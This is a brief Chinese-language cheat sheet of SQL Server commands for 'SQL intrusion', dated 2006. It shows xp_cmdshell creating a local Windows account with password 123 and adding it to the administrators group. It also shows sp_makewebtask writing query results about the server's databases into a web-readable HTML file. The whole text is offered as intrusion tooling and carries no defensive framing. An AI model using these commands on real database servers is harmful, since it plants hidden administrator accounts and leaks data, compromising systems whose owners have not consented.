sql入侵中用到的一些命令[更新:2006.5.23]

/*
 * 功能:通过xp_cmdshell执行命令
 * 本例:添加一个系统帐号,并加入管理员组.
 */
exec master.xp_cmdshell  'net user kgdiwss 123 /add'
exec master.xp_cmdshell  'net localgroup administrators kgdiwss /add'

/*
 * 功能:将执行结果写入htm文件
 * 注意:文件夹需要有写入的权限.
 */
exec sp_makewebtask
"F:/wwwroot/kgdiwss/test/result.htm",    /* 写入路径,也可以是http地址 */
"SELECT * FROM sysdatabases"           /* 要执行的sql语句 */